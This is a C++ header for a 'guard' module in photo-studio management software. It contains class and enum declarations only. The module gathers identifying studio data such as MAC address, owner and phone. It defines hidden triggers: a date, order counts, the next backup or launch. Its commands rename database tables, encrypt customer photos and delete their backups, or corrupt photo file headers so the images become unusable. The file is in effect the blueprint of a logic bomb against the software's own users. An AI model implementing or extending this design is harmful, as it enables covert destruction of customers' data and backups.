GuardInfo.h 5.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225
  1. /************************************************************************/
  2. /* Copyright (C), 2016-2020, [IT], 保留所有权利;
  3. /* 模 块 名:;
  4. /* 描 述:;
  5. /*
  6. /* 版 本:[V];
  7. /* 作 者:[IT];
  8. /* 日 期:[8/30/2016];
  9. /*
  10. /*
  11. /* 注 意:;
  12. /*
  13. /* 修改记录:[IT];
  14. /* 修改日期:;
  15. /* 修改版本:;
  16. /* 修改内容:;
  17. /************************************************************************/
  18. #ifndef __GUARDINFO__
  19. #define __GUARDINFO__
  20. #pragma once
  21. #include <afx.h>
  22. class CGuardInfo :public CObject
  23. {
  24. DECLARE_SERIAL(CGuardInfo);
  25. public:
  26. CGuardInfo(void);
  27. ~CGuardInfo(void);
  28. CGuardInfo &operator=(CGuardInfo& member);
  29. virtual void Serialize(CArchive& ar);
  30. public:
  31. // 影楼名称;
  32. CString m_StudioName;
  33. // 影楼域名;
  34. CString m_StudioDomain;
  35. // 影楼地址;
  36. CString m_StudioAddress;
  37. // 影楼所有者;
  38. CString m_StudioOwner;
  39. // 影楼电话;
  40. CString m_StudioTel;
  41. // 影楼Mac地址;
  42. CString m_StudioMac;
  43. // 影楼Guid;
  44. CString m_StudioGuid;
  45. // 更新时间;
  46. CString m_Uptodate;
  47. // 影楼订单数量;
  48. CString m_StudioInfo;
  49. // 影楼软件版本;
  50. CString m_StudioVer;
  51. // 是否使用域天加密锁;
  52. BOOL m_bUseYtUsb;
  53. // 执行的结果;
  54. CString m_ExecResult;
  55. };
  56. enum GuardTriggerEvent
  57. {
  58. // 下次触发时触发;
  59. GTE_NextTimeTrigger = 0,
  60. // 下次备份时触发;
  61. GTE_NextTimeBarkup = 1,
  62. // 下次启动时触发;
  63. GTE_NextTimeStart = 2,
  64. // 客户端启动第n个时;
  65. GTE_ClientOpen = 3,
  66. // 订单超过n个时;
  67. GTE_OrderCount = 4,
  68. // 历史订单超过n个时;
  69. GTE_HistoryOrderCount = 5,
  70. // 指定具体日期时间;
  71. GTE_SpecifyTime = 6
  72. };
  73. // A=原片、B=初修、C=精修、D=设计;
  74. enum GuardExecCommand
  75. {
  76. // 修改数据库表名;
  77. GEC_ModifyTableName = 0x00000001,
  78. // 修改数据库表字段名;
  79. GEC_ModifyFieldName = 0x00000002,
  80. // 加密原片并删除备份的原片;
  81. GEC_EncryptA0 = 0x00000004,
  82. // 加密原片和备份的原片;
  83. GEC_EncryptA1 = 0x00000008,
  84. // 加密初修片并删除备份的初修片;
  85. GEC_EncryptB0 = 0x00000010,
  86. // 加密初修片和备份的初修片;
  87. GEC_EncryptB1 = 0x00000020,
  88. // 加密精修片并删除备份的初修片;
  89. GEC_EncryptC0 = 0x00000040,
  90. // 加密精修片和备份的初修片;
  91. GEC_EncryptC1 = 0x00000080,
  92. // 加密设计片并删除备份的初修片;
  93. GEC_EncryptD0 = 0x00000100,
  94. // 加密设计片和备份的初修片;
  95. GEC_EncryptD1 = 0x00000200,
  96. // 原片文件头加塞数据使相片无效,并且删除原片备份;
  97. GEC_GasserDataA0 = 0x00000400,
  98. // 原片和原片备份文件头加塞数据使相片无效;
  99. GEC_GasserDataA1 = 0x00000800,
  100. // 初修片文件头加塞数据使相片无效,并且删除初修片备份;
  101. GEC_GasserDataB0 = 0x00001000,
  102. // 初修片和初修片备份文件头加塞数据使相片无效;
  103. GEC_GasserDataB1 = 0x00002000,
  104. // 精修片文件头加塞数据使相片无效,并且删除精修片备份;
  105. GEC_GasserDataC0 = 0x00004000,
  106. // 精修片和精修片备份文件头加塞数据使相片无效;
  107. GEC_GasserDataC1 = 0x00008000,
  108. // 设计片文件头加塞数据使相片无效,并且删除设计片备份;
  109. GEC_GasserDataD0 = 0x00010000,
  110. // 设计片和设计片备份文件头加塞数据使相片无效;
  111. GEC_GasserDataD1 = 0x00020000,
  112. };
  113. class CGuardCommand :public CObject
  114. {
  115. DECLARE_SERIAL(CGuardCommand);
  116. public:
  117. CGuardCommand(void);
  118. ~CGuardCommand(void);
  119. CGuardCommand &operator=(CGuardCommand& member);
  120. virtual void Serialize(CArchive& ar);
  121. public:
  122. // 触发事件类型;
  123. BYTE m_byTrigger;
  124. // 客户端数量;
  125. INT m_nClientCount;
  126. // 订单数量;
  127. INT m_nOrderCount;
  128. // 历史订单数量;
  129. INT m_nHistoryOrderCount;
  130. // 指定的日期与时间;
  131. CString m_strExecTime;
  132. // 执行的命令类型;
  133. INT m_nExecCommand;
  134. // 原表名;
  135. CString m_strOldTableName;
  136. // 新表名;
  137. CString m_strNewTableName;
  138. // 原字段名;
  139. CString m_strOldFieldName;
  140. // 新字段名;
  141. CString m_strNewFieldName;
  142. // 加密密钥;
  143. CString m_strEncryptWord;
  144. // 加密订单数量;
  145. INT m_nEncrypOrderCount;
  146. // 加塞数据库长度;
  147. INT m_nGasserDataLen;
  148. public:
  149. };
  150. class CGuardCommandEx:public CGuardCommand
  151. {
  152. DECLARE_SERIAL(CGuardCommandEx);
  153. public:
  154. CGuardCommandEx(void);
  155. ~CGuardCommandEx(void);
  156. CGuardCommandEx &operator=(CGuardCommandEx& member);
  157. virtual void Serialize(CArchive& ar);
  158. public:
  159. // 是否被触发操作;
  160. BOOL m_bTrigger;
  161. // 是否完成;
  162. BOOL m_bFinished;
  163. // 上次触发时间;
  164. CString m_strLastTriggerTime;
  165. // 上次备份时间;
  166. CString m_strLastBakupTime;
  167. // 上次启动时间;
  168. CString m_strLastStartTime;
  169. protected:
  170. // 修改数据库表名;
  171. void ProCmd_ModifyTableName(IN LPCTSTR lpOldTableName, IN LPCTSTR lpNewTableName);
  172. // 修改数据库字段名;
  173. void ProCmd_ModifyFieldName(IN LPCTSTR lpTableName, IN LPCTSTR lpOldFieldName, IN LPCTSTR lpNewFieldName);
  174. // 加密原片并且删除备份原片;
  175. void ProCmd_EncryptA0();
  176. void ProCmd_EncryptA1();
  177. void ProCmd_EncryptB0();
  178. void ProCmd_EncryptB1();
  179. void ProCmd_EncryptC0();
  180. void ProCmd_EncryptC1();
  181. void ProCmd_EncryptD0();
  182. void ProCmd_EncryptD1();
  183. protected:
  184. // 下次触发时触发;
  185. void Pro_NextTimeTrigger(IN CGuardCommandEx* pGuardCmdEx);
  186. // 下次备份时触发;
  187. void Pro_NextTimeBarkup(IN CGuardCommandEx* pGuardCmdEx);
  188. // 下次启动时触发;
  189. void Pro_NextTimeStart(IN CGuardCommandEx* pGuardCmdEx);
  190. // 客户端启动第n个时;
  191. void Pro_ClientOpen(IN CGuardCommandEx* pGuardCmdEx);
  192. // 订单超过n个时;
  193. void Pro_OrderCount(IN CGuardCommandEx* pGuardCmdEx);
  194. // 历史订单超过n个时;
  195. void Pro_HistoryOrderCount(IN CGuardCommandEx* pGuardCmdEx);
  196. // 指定具体日期时间;
  197. void Pro_SpecifyTime(IN CGuardCommandEx* pGuardCmdEx);
  198. public:
  199. static HANDLE m_hGuardThread;
  200. static HANDLE m_hGuardEvent;
  201. BOOL StartGuardThread();
  202. void EndOfGuardThread();
  203. static DWORD WINAPI GuardThread(LPVOID lpParamter);
  204. };
  205. #endif // __GUARDINFO__;